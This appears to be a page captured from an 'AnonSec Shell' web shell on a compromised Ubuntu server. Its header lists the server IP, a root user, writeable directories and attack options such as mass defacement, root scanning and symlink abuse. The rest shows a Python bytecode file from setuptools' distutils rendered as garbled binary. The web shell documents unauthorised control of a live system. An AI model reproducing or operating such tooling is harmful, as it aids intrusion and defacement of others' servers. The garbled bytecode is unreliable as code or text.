AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/setuptools/_distutils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/setuptools/_distutils/__pycache__/unixccompiler.cpython-310.pyc
o

�_�a�8�@s�dZddlZddlZddlZddlZddlmZddlmZddl	m
Z
mZmZddl
mZmZmZmZddlmZejdkrCddlZGd	d
�d
e
�ZdS)a9distutils.unixccompiler

Contains the UnixCCompiler class, a subclass of CCompiler that handles
the "typical" Unix-style command-line C compiler:
  * macros defined with -Dname[=value]
  * macros undefined with -Uname
  * include search directories specified with -Idir
  * libraries specified with -lllib
  * library search directories specified with -Ldir
  * compile handled by 'cc' (or similar) executable with -c option:
    compiles .c to .o
  * link static library handled by 'ar' command (possibly with 'ranlib')
  * link shared library handled by 'cc -shared'
�N)�	sysconfig)�newer)�	CCompiler�gen_preprocess_options�gen_lib_options)�DistutilsExecError�CompileError�LibError�	LinkError)�log�darwinc	@s�eZdZdZddgdgdgddgdgddgdd�Zejdd�d	kr'd
ged
<gd�ZdZd
Z	dZ
dZdZdZ
ZZeZejdkrDdZ		d'dd�Zdd�Z	d(dd�Z				d)dd�Zdd�Zdd �Zd!d"�Zd#d$�Zd*d%d&�ZdS)+�
UnixCCompiler�unixN�ccz-shared�arz-cr)�preprocessor�compiler�compiler_so�compiler_cxx�	linker_so�
linker_exe�archiver�ranlib�rr)z.cz.Cz.ccz.cxxz.cppz.mz.oz.az.soz.dylibz.tbdzlib%s%s�cygwinz.exec
Cs�|�d||�}|\}}}t||�}	|j|	}
|r|
�d|g�|r'||
dd�<|r.|
�|�|
�|�|js?|dus?t||�rc|rJ|�tj	�
|��z|�|
�WdStyb}zt
|��d}~wwdS)N�-or)�_fix_compile_argsrr�extend�append�forcer�mkpath�os�path�dirname�spawnrr)�self�source�output_file�macros�include_dirs�
extra_preargs�extra_postargs�
fixed_args�ignore�pp_opts�pp_args�msg�r1�E/usr/lib/python3/dist-packages/setuptools/_distutils/unixccompiler.py�
preprocessUs*




���zUnixCCompiler.preprocessc	
Csd|j}tjdkrt�|||�}z|�|||d|g|�WdSty1}zt|��d}~ww)Nrr)r�sys�platform�_osx_support�compiler_fixupr$rr)	r%�obj�src�ext�cc_argsr+r.rr0r1r1r2�_compileos
����zUnixCCompiler._compilerc
Cs�|�||�\}}|j||d�}|�||�rN|�tj�|��|�|j|g||j	�|j
rLz|�|j
|g�WdStyK}zt|��d}~wwdSt
�d|�dS)N)�
output_dir�skipping %s (up-to-date))�_fix_object_args�library_filename�
_need_linkr r!r"r#r$r�objectsrrr	r�debug)r%rB�output_libnamer=rC�target_lang�output_filenamer0r1r1r2�create_static_libzs*����	���zUnixCCompiler.create_static_libc
Cs�|�||�\}}|�|||�}|\}}}t||||�}t|ttd�f�s(td��|dur3tj�	||�}|�
||�r�||j|d|g}|	rMdg|dd�<|
rU|
|dd�<|r\|�|�|�
tj�|��zf|tjkrs|jdd�}n|jdd�}|
dkr�|jr�d}tj�|d�dkr�d}d||vr�|d7}d||vs�tj�||�d	kr�d}nd}|j||||<tjd
kr�t�||�}|�||�WdSty�}zt|��d}~wwt�d|�dS)Nz%'output_dir' must be a string or Nonerz-grzc++�env��=�	ld_so_aixrr>)r?�
_fix_lib_argsr�
isinstance�str�type�	TypeErrorr!r"�joinrArBrr r#r�
EXECUTABLErrr�basenamer4r5r6r7r$rr
rrC)r%�target_descrBrFr=�	libraries�library_dirs�runtime_library_dirs�export_symbolsrCr*r+�
build_temprEr,�lib_opts�ld_args�linker�i�offsetr0r1r1r2�link�s`�
���

�
��zUnixCCompiler.linkcC�d|S)N�-Lr1)r%�dirr1r1r2�library_dir_option��z UnixCCompiler.library_dir_optioncCsd|vpd|vS)N�gcczg++r1)r%�
compiler_namer1r1r2�_is_gcc�szUnixCCompiler._is_gcccCs�tj�t�t�d��d�}tjdd�dkr4ddl	m
}m}|�}|r0||�ddgkr0d|Sd	|Stjdd
�dkrAd|Stjdd�d
kr[|�|�rUdd	|gSdd	|gSt�d�dkrfd|Sd|S)N�CCrrr)�get_macosx_target_ver�
split_version�
�z-Wl,-rpath,ra��freebsdz-Wl,-rpath=zhp-uxz-Wl,+sz+s�GNULD�yesz-Wl,--enable-new-dtags,-Rz-Wl,-R)
r!r"rS�shlex�splitr�get_config_varr4r5�distutils.utilrirjrg)r%rbrrirj�macosx_target_verr1r1r2�runtime_library_dir_option�s 
z(UnixCCompiler.runtime_library_dir_optioncCr`)Nz-lr1)r%�libr1r1r2�library_optionrdzUnixCCompiler.library_optioncCs�|j|dd�}|j|dd�}|j|dd�}|j|dd�}tjdkr8t�d�}t�d|�}	|	dur3d	}
n|	�d
�}
|D]�}tj	�
||�}tj	�
||�}
tj	�
||�}tj	�
||�}tjdkr�|�d�sl|�d�r�|�d
�s�tj	�
|
|d
d�|�}tj	�
|
|d
d�|�}
tj	�
|
|d
d�|�}tj	�
|
|d
d�|�}tj	�|
�r�|
Stj	�|�r�|Stj	�|�r�|Stj	�|�r�|Sq:dS)N�shared)�lib_type�dylib�
xcode_stub�staticr�CFLAGSz-isysroot\s*(\S+)�/rIz/System/z/usr/z/usr/local/)
r@r4r5rrs�re�search�groupr!r"rQ�
startswith�exists)r%�dirsrwrC�shared_f�dylib_f�xcode_stub_f�static_f�cflags�m�sysrootrbryr{r}r|r1r1r2�find_library_filesH



����zUnixCCompiler.find_library_file)NNNNN)NrN)
NNNNNrNNNN)r)�__name__�
__module__�__qualname__�
compiler_type�executablesr4r5�src_extensions�
obj_extension�static_lib_extension�shared_lib_extension�dylib_lib_extension�xcode_stub_lib_extension�static_lib_format�shared_lib_format�dylib_lib_format�xcode_stub_lib_format�
exe_extensionr3r<rGr_rcrgrvrxr�r1r1r1r2r
-sN�



�
�
�B'r
)�__doc__r!r4r�rq�	distutilsr�distutils.dep_utilr�distutils.ccompilerrrr�distutils.errorsrrr	r
rr5r6r
r1r1r1r2�<module>s 


Anon7 - 2022
AnonSec Team